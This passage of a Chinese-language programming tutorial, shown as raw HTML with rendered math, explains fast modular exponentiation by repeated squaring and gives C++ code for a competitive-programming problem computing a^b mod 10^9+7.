mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>8</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>4</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^8=(a^4)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>16</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^{16}=(a^8)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">16</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>32</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>16</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^{32}=(a^{16})^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">32</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">16</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>。這樣可以讓指數的大小本身亦以指數增長，進而讓<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>的時間複雜度從<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>降到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><p>對於一般(非<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的次冪)的指數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，快速冪的邏輯如下：<br>欲計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>，先將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>以二進位表示(這麼做是為了用指數律將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>拆成若干個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><msub><mi>k</mi><mi>i</mi></msub></msup></mrow><annotation encoding="application/x-tex">a^{k_i}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span>相乘，其中每個次方<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">k_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>都是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的冪次，而由上我們可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的冪次很好算)。舉例來說，若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mn>13</mn><mn>10</mn></msub><mo>=</mo><msub><mn>1101</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">n=13_{10}=1101_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">1</span><span class="mord"><span class="mord">3</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">110</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup><mo>=</mo><msup><mi>a</mi><mn>13</mn></msup><mo>=</mo><msup><mi>a</mi><mn>8</mn></msup><msup><mi>a</mi><mn>4</mn></msup><msup><mi>a</mi><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">a^n=a^{13}=a^8a^4a^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">13</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>。接下來便是照我們上面說的一次把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>8</mn></msup><mo separator="true">,</mo><msup><mi>a</mi><mn>4</mn></msup><mo separator="true">,</mo><msup><mi>a</mi><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">a^8, a^4, a^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>都算出來，再相乘即可。</p><p>但其實實務上我們不是這樣做的，實務上做法是：<br>如果指數是偶數(設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn><mi>k</mi></mrow><annotation encoding="application/x-tex">n=2k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>)，那麼<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">a^n=(a^2)^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>；<br>如果指數是奇數(設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n=2k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>)，則把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">a^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span>拆成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><msup><mi>a</mi><mrow><mn>2</mn><mi>k</mi></mrow></msup><mo>=</mo><mi>a</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">aa^{2k}=a(a^2)^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>。<br>如此我們每經一次操作，指數都會變成約原先的一半。</p><h3 id="%E8%99%95%E7%90%86%E6%A8%A1%E6%95%B8" tabindex="-1" id="處理模數">處理模數</h3><p>題目額外要求了要將答案模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，就是因為計算過程中出現的數字和答案可能太大。但這不困難，只要將上述快速冪中每個乘法步驟都取模即可。</p><h3 id="c%2B%2B-code" tabindex="-1" id="C-Code">C++ Code</h3><p>綜合以上，我們有快速冪的程式如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>此題的完整程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  ll n<span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> a <span class="token operator">>></span> b<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token 